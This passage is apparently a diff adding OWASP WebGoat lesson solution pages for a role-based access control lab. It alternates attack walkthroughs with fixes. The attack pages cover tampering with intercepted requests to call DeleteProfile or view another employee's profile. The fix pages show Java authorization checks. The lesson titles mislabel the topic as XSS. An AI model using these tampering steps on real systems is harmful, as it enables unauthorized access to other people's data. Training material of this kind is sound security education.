that are not allowed by his/her assigned roles, or
|
||||
somehow obtain unauthorized roles.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
Your goal is to explore the access control
|
||||
rules that govern this site. Each role has permission to
|
||||
certain resources (A-F). Each user is assigned one or more roles.
|
||||
Only the user with the [Admin] role should have access
|
||||
to the 'F' resources. In a successful attack, a user doesn't
|
||||
have the [Admin] role can access resource F.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<b>Solution:</b><br/>
|
||||
You have to be sure that the user is AUTHORIZED to do an action! So you have to check for his authorization.
|
||||
You have to write some code in the class
|
||||
org.owasp.webgoat.lessons.RoleBasedAccesControl.RoleBasedAccessControl.java.
|
||||
Alter the handleRequest method as there is happening the dispatching.
|
||||
There is already a method called isAuthorized which you can use:
|
||||
</p>
|
||||
<pre><code>
|
||||
//***************CODE HERE*************************
|
||||
if(!isAuthorized(s, userId, requestedActionName))
|
||||
{
|
||||
throw new UnauthorizedException();
|
||||
}
|
||||
//*************************************************
|
||||
</code></pre>
|
||||
Try the attack again and you will see that the authorization fails and the
|
||||
lesson is completed.
|
||||
</body>
|
||||
</html>
|
@ -0,0 +1,56 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Solution Lab Role Based Access Control Stage4</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> How to Perform Cross Site Scripting (XSS)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
In role-based access control scheme, a role represents
|
||||
a set of access permissions and privileges. A user can be
|
||||
assigned one or more roles. A role-based access control
|
||||
normally consists of two parts: role permission management
|
||||
and role assignment. A broken role-based access
|
||||
control scheme might allow a user to perform accesses
|
||||
that are not allowed by his/her assigned roles, or
|
||||
somehow obtain unauthorized roles.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
Your goal is to explore the access control
|
||||
rules that govern this site. Each role has permission to
|
||||
certain resources (A-F). Each user is assigned one or more roles.
|
||||
Only the user with the [Admin] role should have access
|
||||
to the 'F' resources. In a successful attack, a user doesn't
|
||||
have the [Admin] role can access resource F.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<b>Solution:</b><br/>
|
||||
You have to be sure that the user is AUTHORIZED to do an action and that
|
||||
he is authorized to do this action on a certain employee! So you have to check for his authorization.
|
||||
You have to write some code in the class
|
||||
org.owasp.webgoat.lessons.RoleBasedAccesControl.RoleBasedAccessControl.java.
|
||||
Alter the handleRequest method as there is happening the dispatching.
|
||||
Action has already a method called isAuthorizedForEmployee which you can use:
|
||||
</p>
|
||||
<pre><code>
|
||||
//***************CODE HERE*************************
|
||||
if(!isAuthorized(s, userId, requestedActionName))
|
||||
{
|
||||
throw new UnauthorizedException();
|
||||
}
|
||||
if(!action.isAuthorizedForEmployee(s, userId, employeeId))
|
||||
{
|
||||
throw new UnauthorizedException();
|
||||
}
|
||||
//*************************************************
|
||||
</code></pre>
|
||||
Try the attack again and you will see that the authorization fails and the
|
||||
lesson is completed.
|
||||
|
||||
</body>
|
||||
</html>
|
@ -0,0 +1,48 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Solution Lab Role Based Access Control Stage1</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> How to Perform Cross Site Scripting (XSS)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
In role-based access control scheme, a role represents
|
||||
a set of access permissions and privileges. A user can be
|
||||
assigned one or more roles. A role-based access control
|
||||
normally consists of two parts: role permission management
|
||||
and role assignment. A broken role-based access
|
||||
control scheme might allow a user to perform accesses
|
||||
that are not allowed by his/her assigned roles, or
|
||||
somehow obtain unauthorized roles.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
Your goal is to explore the access control
|
||||
rules that govern this site. Each role has permission to
|
||||
certain resources (A-F). Each user is assigned one or more roles.
|
||||
Only the user with the [Admin] role should have access
|
||||
to the 'F' resources. In a successful attack, a user doesn't
|
||||
have the [Admin] role can access resource F.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<b>Solution:</b><br/>
|
||||
To solve this exercise you have to know the name of the action, which
|
||||
deletes employees. Of course you could just guess
|
||||
it because it has a really logical name.
|
||||
But we will look it up. So your first step is to log in as John with john as
|
||||
password. Use WebScarab to intercept the delete request.
|
||||
<center>
|
||||
<img src="/WebGoat/lesson_solutions/Lab Access Control/images/access_control_stage1.png" width=450px alt="deleteAction" />
|
||||
</center>
|
||||
As you can see the delete action is called DeleteProfile.
|
||||
Now log in as Tom. Click in the list on his name and make sure WebScarab
|
||||
will intercept the next request. Click on a button, for example the
|
||||
'ViewProfile' button. Change in WebScarab the action to DeleteProfile
|
||||
and you are done!
|
||||
|
||||
</body>
|
||||
</html>
|
@ -0,0 +1,46 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Solution Lab Role Based Access Control Stage3</title>
|
||||
<link rel="stylesheet" type="text/css" href="/WebGoat/lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> How to Perform Cross Site Scripting (XSS)</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
In role-based access control scheme, a role represents
|
||||
a set of access permissions and privileges. A user can be
|
||||
assigned one or more roles. A role-based access control
|
||||
normally consists of two parts: role permission management
|
||||
and role assignment. A broken role-based access
|
||||
control scheme might allow a user to perform accesses
|
||||
that are not allowed by his/her assigned roles, or
|
||||
somehow obtain unauthorized roles.
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
Your goal is to explore the access control
|
||||
rules that govern this site. Each role has permission to
|
||||
certain resources (A-F). Each user is assigned one or more roles.
|
||||
Only the user with the [Admin] role should have access
|
||||
to the 'F' resources. In a successful attack, a user doesn't
|
||||
have the [Admin] role can access resource F.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<b>Solution:</b><br/>
|
||||
In stage 1 we tried to use an action we are not authorised to use.
|
||||
In this stage we want to view a profile of an other person. We have the permission
|
||||
for the action ViewProfile but we should not have the permission to see a profile
|
||||
of another employee!
|
||||
</p>
|
||||
<p>
|
||||
Log in as Tom with tom as password. Click on Tom's name in the list and make sure
|
||||
webscarab will intercept the next request. Change the employee_id for example to 101.
|
||||
<center>
|
||||
<img src="/WebGoat/lesson_solutions/Lab Access Control/images/access_control_stage1.png" width=450px alt="deleteAction" />
|
||||
</center>
|
||||
|
||||
</body>
|
||||
</html>
|
After Width: | Height: | Size: 36 KiB |